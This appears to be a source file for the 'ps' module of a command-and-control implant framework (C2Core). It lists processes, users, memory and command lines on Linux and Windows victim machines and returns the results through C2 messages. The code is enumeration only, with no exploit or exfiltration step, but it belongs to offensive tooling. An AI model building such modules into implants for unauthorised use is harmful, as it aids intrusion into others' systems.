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maxDcb-C2Core/modules/ListProcesses/ListProcesses.cpp
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2025-05-20 09:21:31 -04:00

421 lines
10 KiB
C++

#include "ListProcesses.hpp"
#include <cstring>
#include <string>
#include <array>
#ifdef __linux__
#include <pwd.h>
#include <grp.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sstream>
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <cstdarg>
#elif _WIN32
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <psapi.h>
#include <Winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "Advapi32.lib")
#endif
#include "Common.hpp"
using namespace std;
#ifdef __linux__
namespace fs = std::filesystem;
struct ProcessInfo
{
std::string user;
int pid;
std::string state;
long memory;
std::string command;
};
std::string get_username(uid_t uid)
{
struct passwd *pw = getpwuid(uid);
return pw ? pw->pw_name : "unknown";
}
ProcessInfo get_process_info(const std::string& pid_dir)
{
ProcessInfo proc_info;
proc_info.pid = std::stoi(pid_dir);
// Read /proc/[PID]/status for user and state
std::ifstream status_file("/proc/" + pid_dir + "/status");
std::string line;
uid_t uid = -1;
while (std::getline(status_file, line))
{
if (line.find("Uid:") == 0)
{
std::istringstream iss(line);
std::string label;
iss >> label >> uid; // Get the real UID
proc_info.user = get_username(uid);
}
else if (line.find("State:") == 0)
{
proc_info.state = line.substr(7, 1); // Skip "State:"
}
}
// Read /proc/[PID]/stat for memory usage
std::ifstream stat_file("/proc/" + pid_dir + "/stat");
if (stat_file)
{
std::string temp;
long rss;
for (int i = 0; i < 23; ++i)
{
stat_file >> temp; // Skip to the 24th field (RSS)
}
stat_file >> rss; // Resident Set Size in pages
proc_info.memory = rss * sysconf(_SC_PAGESIZE) / 1024; // Convert to KB
}
// Read /proc/[PID]/cmdline for command
std::ifstream cmdline_file("/proc/" + pid_dir + "/cmdline");
if (cmdline_file)
{
std::string buffer((std::istreambuf_iterator<char>(cmdline_file)), std::istreambuf_iterator<char>());
// Split on null character '\0'
std::vector<std::string> args;
std::istringstream iss(buffer);
std::string arg;
while (std::getline(iss, arg, '\0'))
{
if (!arg.empty())
{
args.push_back(arg);
}
}
// Join arguments with spaces to reconstruct the real command line
for (size_t i = 0; i < args.size(); ++i)
{
if (i > 0)
{
proc_info.command += " ";
}
proc_info.command += args[i];
}
}
return proc_info;
}
std::string GetProcess()
{
std::vector<ProcessInfo> processes;
// Iterate over /proc
for (const auto& entry : fs::directory_iterator("/proc"))
{
if (entry.is_directory())
{
std::string dirname = entry.path().filename().string();
if (std::all_of(dirname.begin(), dirname.end(), ::isdigit))
{
try
{
processes.push_back(get_process_info(dirname));
}
catch (...)
{
// Skip processes we can't access
}
}
}
}
// Print header
std::string result;
result += "USER" + std::string(16-4, ' ') + "PID" + std::string(12-3, ' ') + "STATE" + std::string(6-5, ' ') + "MEM(KB)" + std::string(12-7, ' ') + "COMMAND\n";
// Print processes
for (const auto& proc : processes)
{
result += proc.user + std::string(std::max((int)(16-proc.user.size()), 1), ' ')
+ std::to_string(proc.pid) + std::string(std::max((int)(12-std::to_string(proc.pid).size()), 1), ' ')
+ proc.state + std::string(std::max((int)(6-proc.state.size()), 1), ' ')
+ std::to_string(proc.memory) + std::string(std::max((int)(12-std::to_string(proc.memory).size()), 1), ' ')
+ proc.command + "\n";
}
return result;
}
#elif _WIN32
#define SystemProcessInformation 5
typedef NTSTATUS (WINAPI * NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
std::string getProcessInfos(DWORD processID, std::string& processName)
{
std::string result;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, processID );
if (hProcess)
{
std::string arch = "x64";
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
arch = "x86";
else
{
BOOL bIsWow64 = FALSE;
IsWow64Process(hProcess, &bIsWow64);
if (bIsWow64)
arch = "x86";
else
arch = "x64";
}
std::string acctName;
std::string domainName;
DWORD dwAcctName = 1;
DWORD dwDomainName = 1;
HANDLE tokenHandle;
if (OpenProcessToken(hProcess, TOKEN_READ, &tokenHandle))
{
TOKEN_USER tokenUser;
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
DWORD tokenUserLength = 0;
PTOKEN_USER pTokenUser;
GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS::TokenUser, NULL, 0, &tokenUserLength);
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
if (GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
{
TCHAR szUserName[_MAX_PATH];
DWORD dwUserNameLength = _MAX_PATH;
TCHAR szDomainName[_MAX_PATH];
DWORD dwDomainNameLength = _MAX_PATH;
SID_NAME_USE sidNameUse;
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
acctName=szUserName;
domainName=szDomainName;
delete pTokenUser;
CloseHandle( tokenHandle );
}
CloseHandle( hProcess );
}
std::string account;
if (!domainName.empty())
{
account += domainName;
account += "\\";
}
if (!acctName.empty())
{
account += acctName;
account += " ";
}
result += account;
int size = max(1, (int)(30 - account.size()));
result += std::string(size, ' ');
result += arch;
result += " ";
result += processName;
size = max(1, (int)(40 - processName.size()));
result += std::string(size, ' ');
result += std::to_string(processID);
result += "\n";
}
else
{
std::string account="";
std::string arch = " ";
result += account;
int size = max(1, (int)(30 - account.size()));
result += std::string(size, ' ');
result += arch;
result += " ";
result += processName;
size = max(1, (int)(40 - processName.size()));
result += std::string(size, ' ');
result += std::to_string(processID);
result += "\n";
}
CloseHandle( hProcess );
return result;
}
std::string GetProcess()
{
std::string result;
int pid = 0;
PVOID buffer = NULL;
DWORD bufSize = 0;
NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, 0, 0, &bufSize);
if (bufSize == 0)
return "GetProcess Failed";
buffer = VirtualAlloc(0, bufSize, MEM_COMMIT, PAGE_READWRITE);
SYSTEM_PROCESS_INFORMATION * sysproc_info = (SYSTEM_PROCESS_INFORMATION *) buffer;
if (pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) SystemProcessInformation, buffer, bufSize, &bufSize))
return "pNtQuerySystemInformation Failed";
while (TRUE)
{
std::string processName;
for(int i=0; i<sysproc_info->ImageName.Length; i++)
{
if((char)sysproc_info->ImageName.Buffer[i]=='\0')
break;
processName.push_back((char)sysproc_info->ImageName.Buffer[i]);
}
result += getProcessInfos((DWORD)sysproc_info->UniqueProcessId, processName);
if (!sysproc_info->NextEntryOffset)
break;
sysproc_info = (SYSTEM_PROCESS_INFORMATION *)((ULONG_PTR) sysproc_info + sysproc_info->NextEntryOffset);
}
VirtualFree(buffer, bufSize, MEM_RELEASE);
return result;
}
#endif
constexpr std::string_view moduleName = "ps";
constexpr unsigned long long moduleHash = djb2(moduleName);
#ifdef _WIN32
__declspec(dllexport) ListProcesses* ListProcessesConstructor()
{
return new ListProcesses();
}
#else
__attribute__((visibility("default"))) ListProcesses* ListProcessesConstructor()
{
return new ListProcesses();
}
#endif
ListProcesses::ListProcesses()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
#endif
{
}
ListProcesses::~ListProcesses()
{
}
std::string ListProcesses::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "ListProcesses Module:\n";
info += "List all running processes on the victim machine.\n";
info += "Displays process ID (PID), name and owner.\n";
info += "\nExamples:\n";
info += "- ps\n";
#endif
return info;
}
int ListProcesses::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_cmd("");
return 0;
}
int ListProcesses::process(C2Message &c2Message, C2Message &c2RetMessage)
{
std::string outCmd = listProcesses();
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_cmd("");
c2RetMessage.set_returnvalue(outCmd);
return 0;
}
std::string ListProcesses::listProcesses()
{
std::string result;
#ifdef __linux__
result = GetProcess();
#elif _WIN32
result = GetProcess();
#endif
return result;
}